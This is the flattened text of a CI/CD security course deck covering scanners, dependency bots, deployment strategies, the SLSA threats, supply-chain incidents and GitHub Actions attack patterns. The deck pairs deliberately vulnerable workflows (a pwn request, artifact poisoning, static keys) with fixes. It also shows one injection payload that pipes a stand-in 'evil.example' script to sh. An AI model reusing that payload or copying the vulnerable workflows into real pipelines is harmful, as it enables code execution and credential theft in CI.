CodeQL builds a database of the code and runs queries for vulnerability patterns (injection, path traversal, unsafe deserialization…).
name: codeql
on:
pull_request:
push: {branches: [main]}
schedule: [{cron: "17 3 * * 1"}]
permissions:
contents: read
security-events: write # upload results
actions: read
jobs:
analyze:
runs-on: ubuntu-24.04
steps:
- uses: actions/checkout@<sha> # vX.Y.Z
- uses: github/codeql-action/init@<sha> # vX.Y.Z
with:
languages: go
build-mode: autobuild
queries: security-extended
- uses: github/codeql-action/analyze@<sha> # vX.Y.Zsecurity-extended adds more queries (more findings, more noise) than the default suite.Semgrep rules look like the code they match, so teams write their own in minutes.
# .semgrep/no-exec-user-input.yml
rules:
- id: no-exec-with-request-data
languages: [go]
severity: ERROR
message: Do not pass request data to exec.Command
patterns:
- pattern: exec.Command($CMD, ...)
- pattern-inside: |
func $H($W http.ResponseWriter,
$R *http.Request) { ... }
# workflow step (semgrep container image)
- run: >-
semgrep scan --config p/golang
--config .semgrep/ --sarif
--output semgrep.sarif --error
- if: ${{ !cancelled() }}
uses: github/codeql-action/upload-sarif@<sha> # vX.Y.Z
with: {sarif_file: semgrep.sarif}category per tool when several upload for the same commit.CodeQL vs Semgrep: CodeQL does deep data-flow (taint) analysis with strong default queries; Semgrep is fast with easy custom rules for your own APIs. Many teams run both.
Misconfiguration is the top cloud incident cause; catch it in the PR that introduces it.
# Terraform directory
checkov -d infra/ --framework terraform \
--output cli --output sarif --output-file-path console,results/
# Kubernetes manifests rendered from the chart
helm template charts/hello > rendered.yaml
checkov -f rendered.yaml --framework kubernetes
# Trivy: misconfigurations in IaC
trivy config --exit-code 1 --severity HIGH,CRITICAL infra/
# Skip a check inline, with a reason (Terraform)
resource "aws_s3_bucket" "logs" {
# checkov:skip=CKV_AWS_144: replication not required for lab logs
bucket = "cicd-lab-logs"
}terraform show -json plan.out).Keep dependencies current without letting a poisoned release in, and keep secrets out of Git.
Dependabot opens PRs for updates. A cooldown waits a few days after a release before proposing it — most malicious releases are caught and pulled within that window.
# .github/dependabot.yml
version: 2
updates:
- package-ecosystem: gomod
directory: /
schedule: {interval: weekly}
cooldown:
default-days: 7
semver-major-days: 14
groups:
go-minor-patch:
update-types: [minor, patch]
- package-ecosystem: github-actions
directory: /
schedule: {interval: weekly}
cooldown: {default-days: 7}
- package-ecosystem: docker
directory: /
schedule: {interval: weekly}dependabot.yml, on your schedule.github-actions ecosystem updates SHA-pinned actions and their version comments (Chapter 9).docker ecosystem updates base image tags and digests in Dockerfiles.Same goal as Dependabot, more knobs: many ecosystems, regex managers, dashboards and fine-grained auto-merge.
{
"$schema": "https://docs.renovatebot.com/renovate-schema.json",
"extends": [
"config:recommended",
"helpers:pinGitHubActionDigests"
],
"minimumReleaseAge": "7 days",
"schedule": ["before 6am on monday"],
"packageRules": [
{
"matchUpdateTypes": ["patch"],
"matchCurrentVersion": "!/^0/",
"automerge": true
},
{
"matchManagers": ["github-actions"],
"groupName": "github actions"
}
]
}| Dependabot | Renovate | |
|---|---|---|
| Setup | Built into GitHub | GitHub App or self-hosted |
| Release delay | cooldown | minimumReleaseAge |
| Custom files | Fixed ecosystems | Regex managers for anything |
| Dashboard | Alerts + PRs | Dependency Dashboard issue |
| Security alerts | Native (Dependabot alerts) | Uses vulnerability data; pairs with GitHub alerts |
actions/dependency-review-action compares the dependency graph of the PR base and head and fails on new problems.
name: dependency-review
on: pull_request
permissions:
contents: read
pull-requests: write # for the summary comment
jobs:
review:
runs-on: ubuntu-24.04
steps:
- uses: actions/checkout@<sha> # vX.Y.Z
- uses: actions/dependency-review-action@<sha> # vX.Y.Z
with:
fail-on-severity: high
deny-licenses: GPL-3.0-only, AGPL-3.0-only
comment-summary-in-pr: on-failurefail-on-severity.Why in addition to scanners: it shows the change a PR introduces so the author fixes it before merge, it is fast (no build, no image), and it can be a required status check (section 21).
Detection after the fact is good; refusing the push is better. A leaked secret must be revoked even if the commit is removed.
git push that contains a supported secret, before it reaches the repo.Push protection covers GitHub; local hooks and CI scans cover other paths (artifacts, images, other remotes).
# .pre-commit-config.yaml
repos:
- repo: https://github.com/gitleaks/gitleaks
rev: v8.x.y # pin a released version
hooks:
- id: gitleaks
# CI: scan the built image for secrets baked into layers
trivy image --scanners secret --exit-code 1 "$IMAGE@$DIGEST"
# CI: scan the repo (complements GitHub secret scanning)
gitleaks detect --source . --redactCOPY .env, build args).echo $TOKEN, set -x, debug logging). GitHub masks registered secrets, but not values derived from them.Turn checks into rules: required checks, merge queues, exceptions, and preview environments.
A check that is not required is a suggestion. Rulesets make the rules visible and apply them across many repos.
mainlint, test, codeql, dependency-review, image-scan.tier=prod).if and an always-reporting job.merge_group event"Require up to date" forces serial rebases on busy repos. A merge queue tests each PR on top of the PRs ahead of it, then merges automatically.
on:
pull_request:
merge_group: # required checks must
# also run on this event
jobs:
test:
runs-on: ubuntu-24.04
steps:
- uses: actions/checkout@<sha> # vX.Y.Z
- run: make test
# slow E2E only in the queue:
# if: github.event_name == 'merge_group'If a required workflow lacks merge_group:, the queue waits for a check that never starts. Enable the queue in the ruleset for main and set build concurrency and grouping there.
Every gate needs an exception path that is faster than disabling the gate — and leaves an audit trail.
| Gate | Threshold | Exception mechanism | Owner |
|---|---|---|---|
| Unit tests + coverage | No drop on changed files | Reviewer approval with a comment | Team |
| CodeQL / Semgrep | No new high/critical | Dismiss alert with reason (false positive / won't fix) | Security champion |
| Image scan | No fixable high/critical | Ignore entry with owner + expiry (Chapter 5) | Team + security |
| IaC scan | No high misconfigurations | Inline skip with reason | Platform team |
| Dependency review | No new high vulns, license policy | Allow-list a package via PR to config | Security |
| Ruleset bypass | Emergency only | Bypass list (small group), audited | Engineering manager on call |
Review exceptions monthly: count, age, and expired ones. A rising count means a gate is mis-tuned or a team needs help (Chapter 13).
Reviewers click a URL and see the change running. The environment is created on open/sync and destroyed on close.
on:
pull_request:
types: [opened, synchronize, reopened, closed]
concurrency:
group: preview-${{ github.event.number }}
cancel-in-progress: true
jobs:
deploy:
if: github.event.action != 'closed'
runs-on: ubuntu-24.04
environment:
name: pr-${{ github.event.number }}
url: https://pr-${{ github.event.number }}.dev.example.com
steps:
- run: ./deploy-preview.sh "pr-${{ github.event.number }}"
teardown:
if: github.event.action == 'closed'
runs-on: ubuntu-24.04
steps:
- run: ./delete-preview.sh "pr-${{ github.event.number }}" helloWhat runs where, and which checks are required by the main ruleset.
| Stage | Jobs | Trigger | Required? |
|---|---|---|---|
| Fast checks | lint (golangci-lint, hadolint, actionlint), unit (go test -race) | pull_request, merge_group | Yes |
| Security | codeql, semgrep, dependency-review, iac-scan | pull_request, merge_group (dependency-review: PR only) | Yes |
| Integration | integration (service containers / Testcontainers) | pull_request, merge_group | Yes |
| Image | image build + image-scan (Trivy gate) | pull_request (no push), push to main (push) | Yes |
| Queue only | e2e (sharded) | merge_group | Yes (in queue) |
| After merge | push to ECR, sign and attest (Chapter 11), promotion PR (Chapter 7) | push to main | — |
Keep job names stable: they are the required check names. Add a final ci-ok job with needs: on all others and require only that one when the set changes often.
Most broken gates fail open: the check exists, but nothing is actually enforced.
postgres:latest) change behavior overnight.merge_group:.Explain the answer and name the exact event, input or setting.
container:?services:?cooldown defend against, and what is Renovate's equivalent?merge_group?Practice: Lab 6 in Hands-on labs — CodeQL, dependency review, push protection and Checkov on Terraform, wired as required checks with a merge queue.
How a new version reaches users safely, how CI hands off to GitOps, how schemas change without downtime, and how versions get their numbers.
Recreate, rolling, blue/green, canary and shadow — and where each one runs on EKS, ECS and Lambda.
Every strategy trades cost and complexity for a smaller blast radius and a faster rollback.
| Strategy | How it works | Downtime | Rollback | Extra cost | Use when |
|---|---|---|---|---|---|
| Recreate | Stop all old, start all new | Yes | Redeploy old (slow) | None | Dev, batch, singletons that cannot run twice |
| Rolling | Replace instances a few at a time behind the same endpoint | No | Roll back again (minutes) | Small surge | Default for stateless services |
| Blue/green | Full new stack beside the old; switch traffic at once | No | Switch back (seconds) | 2× capacity during the switch | Risky releases, fast rollback needed |
| Canary | Send a small share of traffic to the new version, grow it while metrics stay healthy | No | Shift traffic back (seconds) | Small; needs traffic splitting + metrics | High traffic, good SLO metrics |
| Shadow (mirror) | Copy live traffic to the new version; discard its responses | No | Nothing to roll back | Full extra capacity | Performance and correctness tests on real traffic; read-only paths |
Old and new versions run at the same time in every strategy except recreate. Your API, events and database schema must work with both (part 7.3).
Blue/green moves all traffic at once between two complete stacks; canary moves a percentage between versions.
On Kubernetes both are usually run by Argo Rollouts (GitOps deck ch 11). This chapter is about choosing and wiring them from CI.
The Deployment controller does rolling updates for free; readiness and budgets decide whether they are safe.
apiVersion: apps/v1
kind: Deployment
metadata: {name: hello, namespace: hello}
spec:
replicas: 6
minReadySeconds: 10 # stay ready 10 s to count
progressDeadlineSeconds: 300 # fail rollout after 5 min
strategy:
type: RollingUpdate
rollingUpdate:
maxSurge: 25% # extra pods allowed during the update
maxUnavailable: 0 # never drop below desired capacity
template:
spec:
containers:
- name: hello
image: <ecr>/cicd-lab/hello@sha256:<digest>
readinessProbe:
httpGet: {path: /healthz, port: 8080}
periodSeconds: 5
---
apiVersion: policy/v1
kind: PodDisruptionBudget
metadata: {name: hello, namespace: hello}
spec:
minAvailable: 5
selector: {matchLabels: {app: hello}}maxUnavailable: 0 + maxSurge keeps full capacity during the rollout.minReadySeconds catches pods that crash a few seconds after start.progressDeadlineSeconds turns a stuck rollout into a visible failure (kubectl rollout status exits non-zero).Same ideas, different machinery. Pick the native mechanism before adding tools.
| Platform | Rolling | Blue/green | Canary / linear | Automatic rollback |
|---|---|---|---|---|
| EKS | Deployment RollingUpdate | Argo Rollouts blueGreen (or two Services + switch) | Argo Rollouts canary with ALB weighted target groups or Gateway API | Rollouts analysis abort; progressDeadlineSeconds only marks failure |
| ECS | Rolling update (minimumHealthyPercent, maximumPercent) | ECS built-in blue/green (2025) or CodeDeploy | CodeDeploy configs such as CodeDeployDefault.ECSCanary10Percent5Minutes | Deployment circuit breaker with rollback; CloudWatch alarms |
| Lambda | — (versions are immutable) | Alias moves to a new version | CodeDeploy configs such as CodeDeployDefault.LambdaCanary10Percent5Minutes, LambdaLinear10PercentEvery1Minute | CodeDeploy rolls back on CloudWatch alarm |
CodeDeploy also supports lifecycle hooks (for example a Lambda that runs smoke tests before traffic shifts). Check the deployment configurations available in your Region before naming one in a template.
For Lambda the "two versions" are numbered versions behind one alias; CodeDeploy moves the alias weight.
# AWS SAM: canary deploy for a Lambda function
Resources:
HelloFn:
Type: AWS::Serverless::Function
Properties:
Runtime: provided.al2023
Handler: bootstrap
CodeUri: ./build
AutoPublishAlias: live # new version + alias "live"
DeploymentPreference:
Type: Canary10Percent5Minutes # 10% for 5 min, then 100%
Alarms:
- !Ref HelloErrorsAlarm # alarm → automatic rollback
Hooks:
PreTraffic: !Ref SmokeTestFn # runs before any traffic shiftssam deployPreTraffic hook; failure stops the deployment.PostTraffic hook (if any) runs.Deploying puts code in production; releasing exposes behavior to users. Flags separate the two.
Start with rolling + good probes; add canary where metrics can decide for you.
| Situation | Strategy | Why |
|---|---|---|
| Stateless API, moderate traffic, good probes | Rolling | Free, built in, enough for most changes |
| High-traffic API with SLO dashboards | Canary with automated analysis | Small blast radius; metrics decide, not humans |
| Big-bang change (framework upgrade, new runtime) | Blue/green | Whole new stack can be tested before the switch; instant switch back |
| Worker consuming a queue | Rolling (consumers scale down/up) | No traffic splitting needed; make messages backward compatible |
| Singleton job or leader-only process | Recreate | Two copies would conflict |
| New algorithm, must compare outputs | Shadow + feature flag | Real traffic, no user impact |
| Risky user-facing behavior change | Any deploy + feature flag rollout | Separate release risk from deploy risk |
CI either deploys directly with short-lived AWS credentials, or it stops at a pull request and lets the GitOps agent deploy.
In push mode the pipeline can change the cluster. In GitOps mode only the in-cluster agent can.
Both are valid. Push is simpler for ECS and Lambda; the pull model is the default for Kubernetes fleets (GitOps deck ch 1).
Short-lived credentials from an IAM role; the role must also be allowed into the cluster with an EKS access entry.
jobs:
deploy:
runs-on: ubuntu-latest
environment: prod # approvals + prod-scoped OIDC sub
permissions:
id-token: write # request the OIDC token
contents: read
steps:
- uses: aws-actions/configure-aws-credentials@<sha> # v4
with:
role-to-assume: arn:aws:iam::<acct>:role/gha-cicd-lab
aws-region: ap-northeast-1
- run: aws eks update-kubeconfig --name cicd-prod
- run: |
kubectl -n hello set image deploy/hello \
hello="$IMAGE@$DIGEST"
kubectl -n hello rollout status deploy/hello --timeout=5m
env:
IMAGE: ${{ vars.ECR_REGISTRY }}/cicd-lab/hello
DIGEST: ${{ needs.build.outputs.digest }}aud and sub (ch 4).hello namespace — not cluster-admin.environment: prod adds required reviewers before the job starts.rollout status makes the job fail when the rollout fails, so the pipeline tells the truth.needs outputs through env:, never pasted into run: with ${{ }} (ch 8).The build job outputs the image digest; a second job edits the config repo and opens a pull request.
promote-dev:
needs: build
runs-on: ubuntu-latest
permissions: {contents: read}
steps:
- id: app-token # token for ANOTHER repo
uses: actions/create-github-app-token@<sha> # v2
with:
app-id: ${{ vars.PROMOTER_APP_ID }}
private-key: ${{ secrets.PROMOTER_APP_KEY }}
repositories: gitops-lab
- uses: actions/checkout@<sha> # v7.0.1
with:
repository: <you>/gitops-lab
token: ${{ steps.app-token.outputs.token }}
- env: {DIGEST: "${{ needs.build.outputs.digest }}"}
run: |
F=envs/dev/web/values.yaml
yq -i '.image.digest = strenv(DIGEST)' "$F"
git switch -c "promote/dev-${DIGEST:7:12}"
git -c user.name=promoter \
-c user.email=promoter@example.com \
commit -am "promote(dev): ${DIGEST:7:12}"
git push -u origin HEAD
- run: gh pr create -R <you>/gitops-lab --fill
env:
GH_TOKEN: ${{ steps.app-token.outputs.token }}GITHUB_TOKEN can only write to its own repo: use a GitHub App installation token scoped to gitops-lab (not a personal access token).envs/prod/.peter-evans/create-pull-request, Argo CD Image Updater or Kargo (GitOps deck ch 9).An environment is a named deployment target with its own protection rules, secrets and variables.
main or v* tags may deploy to prod.sub claim becomes repo:…:environment:prod, so the AWS role can trust only prod jobs (ch 4).jobs:
deploy-prod:
needs: deploy-staging
environment:
name: prod
url: https://hello.example.com
concurrency:
group: deploy-prod
cancel-in-progress: false
runs-on: ubuntu-latest
steps:
- run: ./deploy.shAvailability of some protection rules depends on the plan and repo visibility (private repos on free plans have fewer). Check your plan before designing around them.
Decide per platform, not per company.
| Aspect | Push from CI | GitOps handoff (PR) |
|---|---|---|
| Credentials | CI holds a deploy role for each environment | CI holds only registry push + a token for the config repo |
| Approval | Environment reviewers in GitHub | PR review + CODEOWNERS on envs/prod/ |
| Drift | Not detected after the job ends | Detected and optionally corrected by the agent |
| Rollback | Re-run an older workflow or alias switch | git revert of the promotion commit |
| Audit trail | Workflow runs + CloudTrail | Git history + agent events + CloudTrail |
| Best fit | Lambda, ECS services, one-off infra jobs | Kubernetes fleets, many clusters, many teams |
| Main risk | Compromised workflow can deploy anything | Compromised config repo can deploy anything (protect it like prod) |
Expand/contract migrations, migrations as jobs, and why "roll back" often means "roll forward".
During any rollout old and new code run together. The schema must satisfy both at every moment.
Renaming a column in one migration breaks every pod still running the previous version during the rollout. Split it into expand → migrate → contract across several releases.
users.name to users.full_nameFour small releases instead of one breaking one.
-- release 1.6.0 (expand)
ALTER TABLE users ADD COLUMN full_name text;
-- release 1.6.0 app code: write both
-- UPDATE users SET name = $1, full_name = $1 WHERE id = $2
-- backfill job (batches, idempotent)
UPDATE users SET full_name = name
WHERE full_name IS NULL AND id BETWEEN $start AND $end;
-- release 1.7.0 app code: read full_name, still write both
-- release 1.8.0 app code: write only full_name
-- release 1.9.0 (contract), after 1.7.x is gone everywhere
ALTER TABLE users DROP COLUMN name;NOT NULL, foreign keys) come after the backfill.One process applies migrations, once, before the new code takes traffic.
Job run as an Argo CD PreSync hook (GitOps deck ch 7) or a pipeline step before the deploy.run-task with the new image before updating the service.PreTraffic hook.Code rolls back easily. Data and schema usually do not.
| Change | Rollback path |
|---|---|
| App code only | Roll back (previous digest, alias, git revert) |
| Config / flag | Revert or flip the flag |
| Additive schema (expand) | Leave it; old code ignores it |
| Destructive schema (contract) | Restore from backup or PITR — slow, loses writes |
| Data rewritten in place | Only from backup or an audit trail |
| Messages already published in a new format | Consumers must handle both formats |
Semantic Versioning, Conventional Commits, automated release notes, and a hotfix flow that fits trunk-based development.
A version number is a promise about compatibility to whoever depends on you.
1.5.0-rc.1 sorts before 1.5.0.1.5.0+sha.3f2c1a9 is ignored for precedence.0.y.z: anything may change; the public API is not stable yet.vX.Y.Z on release.v1.5.0 tag can never be moved (ch 5).latest.A small convention lets tools compute the next version and write the changelog.
<type>[optional scope][!]: <description>
[optional body]
[optional footer(s)]
feat(api): add /v1/greetings/{lang} -> MINOR
fix: return 404 instead of 500 for unknown id -> PATCH
perf: cache templates -> PATCH (tool default)
docs: explain HELLO_GREETING -> no release
feat(api)!: drop /v0 endpoints -> MAJOR
refactor: split handler into packages
BREAKING CHANGE: config key GREETING renamed -> MAJOR
to HELLO_GREETINGfeat, fix, docs, refactor, perf, test, build, ci, chore, revert.feat and fix (and breaking changes) are defined by the spec to affect SemVer; tools decide the rest.main.Every push to main updates one open "release PR" with the next version and changelog. Merging it creates the tag and GitHub Release.
# .github/workflows/release-please.yml
on:
push:
branches: [main]
permissions:
contents: write
pull-requests: write
jobs:
release-please:
runs-on: ubuntu-latest
outputs:
released: ${{ steps.rp.outputs.release_created }}
tag: ${{ steps.rp.outputs.tag_name }}
steps:
- id: rp
uses: googleapis/release-please-action@<sha-of-v4.x> # v4.x
with:
release-type: go
publish:
needs: release-please
if: needs.release-please.outputs.released == 'true'
uses: ./.github/workflows/build.yml # reusable (ch 3)
with: {version: "${{ needs.release-please.outputs.tag }}"}feat: / fix: PRs to main as usual.chore(main): release 1.6.0 with the changelog.v1.6.0 + GitHub Release.publish job builds and tags the image v1.6.0 from that commit.GITHUB_TOKEN do not trigger other workflows; that is why publish is chained here, or use a GitHub App token.Same input (Conventional Commits), different control points.
| release-please | semantic-release | |
|---|---|---|
| Trigger | Push to main updates a release PR | Every push to the release branch can publish |
| Human gate | Merging the release PR | None by default (fully automatic) |
| Changelog | Committed CHANGELOG.md in the release PR | Release notes; changelog file via a plugin |
| Ecosystem | Many release types (go, node, python, java, simple, helm…) | Plugin-based, strongest for npm; plugins for others |
| Config | Action inputs or release-please-config.json + manifest | .releaserc with plugins (commit-analyzer, release-notes-generator, github…) |
| Good for | Services and charts where you choose when to release | Libraries that publish on every releasable merge |
Either way: the version is derived from commits, never typed by hand, and the release job runs from the tagged commit.
Fix on main first, then cherry-pick to a short-lived release branch cut from the tag that is in production.
main first (or at the same time), so it is never lost.release/* and tags.main is releasablemain as v1.6.0 with the fix.v1.6.0-rc.1, deploy to staging, promote the same digest.Each of these has caused a real outage or a lost release.
maxUnavailable left at the default on a small Deployment: capacity drops during every release.:v1.5.0, :latest) instead of digests.Explain the answer and name the exact field, setting or command.
GITHUB_TOKEN not open a PR in gitops-lab, and what do you use instead?main holds unreleased features?Practice: Lab 7 in Hands-on labs — rolling vs blue/green on kind, and a CI job that opens a promotion PR instead of deploying.
Where attackers get in between a commit and a running workload, what happened in the incidents everyone cites, and the attack patterns that target CI itself.
The SLSA threat model: every stage from producer to consumer can be attacked, and every dependency carries the same threats again.
SLSA clusters threats by where they occur. Each dependency has its own (A)–(I) chain, recursively.
SLSA does not claim to address every threat here — (A) a malicious producer and (I) misuse such as default credentials are largely out of scope. Labels follow the SLSA v1.2 threats overview (v1.0 used an older (A)–(H) list).
Map each threat to a control you will build later in this deck.
| Stage | Example threat | Real-world example | Control (chapter) |
|---|---|---|---|
| (A) Producer | Maintainer is malicious or coerced | xz utils (2024) | Hard; diversity of maintainers, review, build from source (8.2) |
| (B) Authoring & reviewing | Change merged without real review | Insider pushes to main | Rulesets, required reviews, CODEOWNERS (3, 9) |
| (C) Source code management | Source host compromised | PHP git server (2021) | Signed commits, Source track levels (11) |
| (D) External build parameters | Build run with unofficial parameters or branch | Release built from a fork branch | Provenance shows the parameters; verify them (11, 12) |
| (E) Build process | Build system altered to inject code | SolarWinds (2020) | Ephemeral isolated runners, Build L3 provenance (9, 11) |
| (F) Artifact publication | Modified artifact uploaded | Codecov uploader (2021) | Sign + attest at build; verify checksums (10, 11) |
| (G) Distribution channel | Registry or tag repointed | tj-actions tags (2025) | Digests, SHA pinning, signature checks (9, 12) |
| (H) Package selection | Wrong package picked | Typosquatting, dependency confusion | Scoped names, lockfiles, dependency review (6, 8.3) |
Every arrow crosses a boundary. An attacker who controls the left side of an arrow tries to influence the right side.
Red arrows carry untrusted input into a context that holds secrets or write access. Most CI attacks in 8.3 are one of these arrows.
Pipelines are attractive because they hold credentials and produce what customers run.
Assume one dependency or action will eventually be compromised. The goal is a small blast radius and fast detection, not perfect prevention.
Six incidents, each with its entry point, blast radius and the control that would have stopped or limited it.
Stage (E): the attacker changed what the build produced, not the source code.
Stage (F): a published artifact was modified after it was built.
curl … | bash; the altered script sent environment variables to the attacker.curl | bash unverified.Stage (A): a contributor spent years earning trust, then shipped a backdoor (CVE-2024-3094).
Stage (G) for every consumer: version tags of a popular action were repointed to a malicious commit (CVE-2025-30066).
tj-actions/changed-files to a malicious commit.@v35, @v44 and other tags ran the new code automatically.reviewdog/action-setup (CVE-2025-30154).GITHUB_TOKEN.Stages (F) and (H): stolen publish tokens turned victims into distributors.
preinstall phase.--ignore-scripts alone stopped being enough.npm ci; delay adopting brand-new versions (cooldown in Dependabot or Renovate).Entry point → what it touched → the cheapest control that would have limited it.
| Incident | Year | Entry point | Blast radius | Key control |
|---|---|---|---|---|
| SolarWinds | 2020 | Build environment | Signed product updates | Isolated builds + provenance |
| Codecov | 2021 | Leaked credential → modified download | Secrets in customer CI | Verify downloads; short-lived creds |
| xz utils | 2024 | Malicious co-maintainer | Linux distributions (caught early) | Build from source repo; reproducible builds |
| tj-actions/changed-files | 2025 | Repointed action tags | Secrets in workflow logs | SHA pinning + egress monitoring |
| Shai-Hulud | 2025 | Stolen npm tokens | Developer and CI secrets; more packages | Trusted publishing, cooldowns, no long-lived tokens |
| Shai-Hulud 2.0 | 2025 | Same, larger | Repos, workflows, machines | Same + monitor new workflows and runners |
Pattern: the attacker rarely breaks crypto. They reuse a credential that lived too long or a reference that could move.
The concrete workflow mistakes attackers look for, each with vulnerable and fixed YAML.
pull_request_target + checkout of the PR = remote code executionpull_request_target runs in the context of the base repository: secrets and a write-capable token are available.
# VULNERABLE
on: pull_request_target # base repo privileges
jobs:
test:
runs-on: ubuntu-latest
steps:
- uses: actions/checkout@<sha>
with:
# attacker-controlled code:
ref: ${{ github.event.pull_request.head.sha }}
- run: npm install && npm test # runs PR scripts
env:
NPM_TOKEN: ${{ secrets.NPM_TOKEN }}# FIXED: untrusted code runs without privileges
on: pull_request # forks: read-only token, no secrets
permissions: {contents: read}
jobs:
test:
runs-on: ubuntu-latest
steps:
- uses: actions/checkout@<sha>
with: {persist-credentials: false}
- run: npm ci && npm test
# Need to label or comment on fork PRs?
# pull_request_target WITHOUT checking out PR code,
# and only call the API (labels, comments).Rule: never build, install or run code from the pull request in a pull_request_target (or issue_comment) workflow. Linters such as zizmor flag this pattern (ch 9).
${{ }} in a run: stepExpressions are expanded before the shell runs, so a crafted title or branch name becomes shell code.
# VULNERABLE
on: issues
jobs:
triage:
runs-on: ubuntu-latest
steps:
- run: echo "New issue: ${{ github.event.issue.title }}"
# title = a"; curl -sS https://evil.example/x | sh; echo "
# → the shell sees three commands# FIXED: pass data through the environment
on: issues
permissions: {issues: write}
jobs:
triage:
runs-on: ubuntu-latest
steps:
- env:
TITLE: ${{ github.event.issue.title }}
run: echo "New issue: $TITLE" # quoted variable, not codegithub.head_ref), commit messages, author names.actions/github-script inputs: pass via env / process.env, never interpolate into the script.run:.GITHUB_ENV / GITHUB_OUTPUT writes of untrusted multi-line text.Caches are shared by key. Untrusted code that can write a cache key a release job later restores can tamper with the release.
pull_request_target or issue_comment that checks out PR code) saves a cache.pull_request write caches scoped to the PR ref, which the default branch does not restore — the danger is privileged contexts.# release workflow: build clean
jobs:
release:
runs-on: ubuntu-latest
steps:
- uses: actions/checkout@<sha>
- uses: actions/setup-go@<sha>
with:
go-version-file: go.mod
cache: false # no shared cache
- run: go build -trimpath ./...workflow_run that trusts artifacts from a PR runworkflow_run runs with base-repo privileges after another workflow — including one triggered by a fork PR — completes.
# VULNERABLE: privileged follow-up workflow
on:
workflow_run:
workflows: [ci]
types: [completed]
jobs:
report:
runs-on: ubuntu-latest
steps:
- uses: actions/checkout@<sha>
- uses: actions/download-artifact@<sha>
with:
run-id: ${{ github.event.workflow_run.id }}
github-token: ${{ secrets.GITHUB_TOKEN }}
# artifact unpacked over the workspace:
# a PR can ship its own ./scripts/report.sh
- run: ./scripts/report.sh# FIXED: artifact is data, in its own directory
jobs:
report:
runs-on: ubuntu-latest
permissions: {pull-requests: write}
steps:
- uses: actions/checkout@<sha>
with: {persist-credentials: false}
- uses: actions/download-artifact@<sha>
with:
run-id: ${{ github.event.workflow_run.id }}
github-token: ${{ secrets.GITHUB_TOKEN }}
path: ${{ runner.temp }}/pr-artifact
- run: |
# validate: expect one small JSON file, parse it as data
jq -e '.coverage | numbers' \
"$RUNNER_TEMP/pr-artifact/coverage.json"
./scripts/report.sh "$RUNNER_TEMP/pr-artifact/coverage.json" Check github.event.workflow_run.event and the head repository when the follow-up must behave differently for fork PRs.
Stage (H): the package manager picks the wrong package — because of its name, or because of where it looked.
acme-auth exists only in an internal registry.acme-auth with a higher version on the public registry.@acme/auth), one registry per scope, upstream rules (for example AWS CodeArtifact package origin controls), lockfiles with integrity hashes.reqeusts, colourama, electorn — one typo away from a real package.go.sum + the checksum database (sum.golang.org) detect changed module contents.GOPRIVATE for internal modules so they skip the public proxy and checksum DB.Codecov, tj-actions and Shai-Hulud were all about harvesting credentials that stayed valid after they leaked.
# VULNERABLE: static keys, broad scope, no expiry
- run: aws s3 sync dist/ s3://hello-site
env:
AWS_ACCESS_KEY_ID: ${{ secrets.AWS_ACCESS_KEY_ID }}
AWS_SECRET_ACCESS_KEY: ${{ secrets.AWS_SECRET_ACCESS_KEY }}
- run: gh pr create --repo acme/gitops-lab --fill
env:
GH_TOKEN: ${{ secrets.ADMIN_PAT }} # classic PAT, all repos
# FIXED
permissions: {id-token: write, contents: read}
steps:
- uses: aws-actions/configure-aws-credentials@<sha>
with:
role-to-assume: arn:aws:iam::<acct>:role/gha-cicd-lab
aws-region: ap-northeast-1 # ~1 h credentials
- id: app
uses: actions/create-github-app-token@<sha>
with:
app-id: ${{ vars.PROMOTER_APP_ID }}
private-key: ${{ secrets.PROMOTER_APP_KEY }}
repositories: gitops-lab # one repo, expires in 1 h| Long-lived credential | Short-lived alternative |
|---|---|
| AWS access keys | OIDC → IAM role (ch 4) |
| Classic PAT | GitHub App installation token; fine-grained PAT with expiry if unavoidable |
| npm / PyPI publish token | Trusted publishing (OIDC) |
| Registry password | OIDC to ECR; short-lived login tokens |
| Cluster kubeconfig secret | OIDC → role → EKS access entry, or GitOps pull |
A non-ephemeral runner keeps files, processes and credentials between jobs. One malicious job can wait for the next privileged one.
--ephemeral), then destroy — ARC on EKS does this (ch 2).~/.bashrc, tool caches or /etc/hosts on the runner.Use this as a review checklist for every workflow change.
| Pattern | Precondition | Fix | Chapter |
|---|---|---|---|
| Pwn request | pull_request_target / issue_comment + PR code executed | pull_request for untrusted code; privileged workflow never runs PR code | 9 |
| Script injection | Untrusted field inside ${{ }} in run: or a script | Pass via env:; quote the variable | 2, 9 |
| Cache poisoning | Untrusted code can save caches restored by release jobs | No shared caches in release workflows | 9 |
| Artifact poisoning | workflow_run unpacks PR artifacts into the workspace and runs them | Download to a temp dir, validate as data | 9 |
| Moved tag | Third-party action referenced by tag | Full SHA pins + update bot + policy | 9 |
| Dependency confusion / typosquat | Mixed registries, unscoped names, no review | Scopes, lockfiles, dependency review, cooldowns | 6, 10 |
| Stolen long-lived token | Static keys or PATs in secrets | OIDC, GitHub App tokens, trusted publishing | 4 |
| Runner persistence | Reused self-hosted runner, untrusted jobs | Ephemeral runners, runner groups, separate pools | 2, 9 |
Each one turns a single compromised component into a full breach.
pull_request_target "to get secrets for fork PRs".github.event.* text into shell.workflow_run jobs that execute downloaded artifacts.Explain the answer and name the stage (A)–(I) or the exact workflow feature.
pull_request safe for fork PRs while pull_request_target is not?run: echo "${{ github.head_ref }}" safely.workflow_run job be poisoned by a PR artifact?Practice: Lab 8 in Hands-on labs — reproduce a script injection and a pwn request in a throwaway repo, then fix both.
Pin what you run, give every job the least it needs, watch what runners talk to, and let linters enforce it.
A tag is a pointer anyone with write access can move. A commit SHA is not.
uses: owner/action@v4 resolves the tag at run time. Whoever controls the action repo controls your job.
@main) are worse: every push changes what you run.The comment is for humans and for Dependabot/Renovate, which update both the SHA and the comment.
steps:
# bad: mutable tag / branch
- uses: actions/checkout@v7
- uses: some-org/some-action@main
# good: full 40-character commit SHA + version comment
- uses: actions/checkout@<sha-of-v7.0.1> # v7.0.1
with:
persist-credentials: false
- uses: docker/build-push-action@<sha-of-v6.x> # v6.x.y
# container actions and service images: pin by digest too
- uses: docker://alpine@sha256:<digest>
services:
postgres:
image: postgres:16@sha256:<digest>uses: ./.github/actions/x) are pinned by your own commit.uses: org/repo/.github/workflows/ci.yml@<sha>.uses: inside them is your risk too.git ls-remote https://github.com/actions/checkout refs/tags/v7.0.1 (for annotated tags use the ^{} line).Version numbers in examples are illustrative; pin the SHA of the current release (for example checkout v7.0.1, setup-go v7.0.0 in Nov 2026).
Since Aug 2025 the policy can require full-length SHA pins and block specific actions, at enterprise, org and repo level.
uses: fails the run.! prefix, for example during an incident.# allowed actions / reusable workflows
actions/checkout@*
actions/setup-go@*
docker/*
